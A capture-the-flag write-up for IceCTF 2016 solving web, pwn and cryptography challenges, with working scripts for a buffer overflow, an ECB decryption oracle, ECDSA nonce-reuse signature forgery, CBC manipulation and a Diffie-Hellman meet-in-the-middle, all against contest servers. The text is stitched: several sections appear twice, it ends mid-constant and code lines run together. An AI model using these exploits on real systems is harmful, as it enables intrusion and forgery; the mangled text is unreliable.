```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2